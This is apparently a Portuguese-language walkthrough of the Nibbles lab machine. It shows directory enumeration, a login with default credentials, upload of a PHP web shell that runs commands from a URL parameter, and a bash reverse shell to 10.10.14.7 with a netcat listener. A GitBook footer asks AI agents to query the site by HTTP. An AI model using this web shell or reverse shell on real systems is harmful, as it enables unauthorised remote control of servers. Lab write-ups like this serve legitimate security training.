> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/nibbles-blog-cms-exploitation.md).

# Blog Nibbles

### Nibbles Blog - CMS

<figure><img src="/files/5d32d94fe7f7293cf181ed3ab6405d2e52ecc6d6" alt=""><figcaption></figcaption></figure>

O site parece ser um CMS Nibbleblog. Use `gobuster` para procurar diretórios adicionais:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/fee23796409613749d6c28d93bc3f7d2e412dd54" alt=""><figcaption></figcaption></figure>

#### Busca de arquivos PHP:

A enumeração de arquivos PHP revela `admin.php`, que parece ser um painel de administração.

<figure><img src="/files/094982b118e35d85c821255975ada705db6a20e0" alt=""><figcaption></figcaption></figure>

#### Tentativa de login com credenciais

Tente fazer login com as seguintes credenciais:

* **Usuário** : admin
* **Senha** : nibbles

<figure><img src="/files/770b45a23560073ad1c2d4786b6942a42807491b" alt=""><figcaption></figcaption></figure>

Isso funciona e dá acesso à interface de administração.

<figure><img src="/files/b96219895b0ca5dd93012a00ba5387521f7da98a" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de upload de arquivos do Nibbleblog

É descoberta uma funcionalidade de upload de imagens:

<figure><img src="/files/9d212171f812b7b691d898698ed3b2bb07ade1b5" alt=""><figcaption></figcaption></figure>

Crie um `cmd.php` arquivo com o seguinte código para habilitar a execução de comandos:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

O arquivo é enviado para `conteúdo`, onde uma `privada` subpasta contém plugins.

<figure><img src="/files/8759d134ff3fd3e0dc7264e96be9789902dd8875" alt=""><figcaption></figcaption></figure>

#### Execução de comandos por meio de upload de arquivo

O `cmd` o parâmetro permite a execução de comandos. Por exemplo, use a seguinte URL para obter informações de identidade do sistema:

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/6d28e94495b219d58a8b17ab66a1ad9f430f7c77" alt=""><figcaption></figcaption></figure>

Obtenha acesso ao servidor por meio de uma shell reversa. Inicie um listener na porta 443:

```bash
nc -nlvp 443
```

Em seguida, execute a shell reversa no alvo:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/b38582a786cf42499c4473f50196b05bd78d0458" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/nibbles-blog-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
